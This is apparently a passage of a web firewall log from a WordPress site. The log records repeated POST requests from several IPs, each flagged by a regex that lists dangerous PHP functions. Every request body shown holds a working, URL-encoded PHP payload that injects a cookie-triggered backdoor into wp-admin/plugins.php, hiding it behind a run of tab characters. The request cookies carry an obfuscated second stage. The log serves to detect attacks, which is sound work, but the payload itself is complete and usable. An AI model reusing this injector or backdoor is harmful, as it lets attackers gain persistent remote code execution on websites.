AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nJL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:53:45","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4256\n\nqD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:53:51","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4256\n\nvD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:54:01","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:4279\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%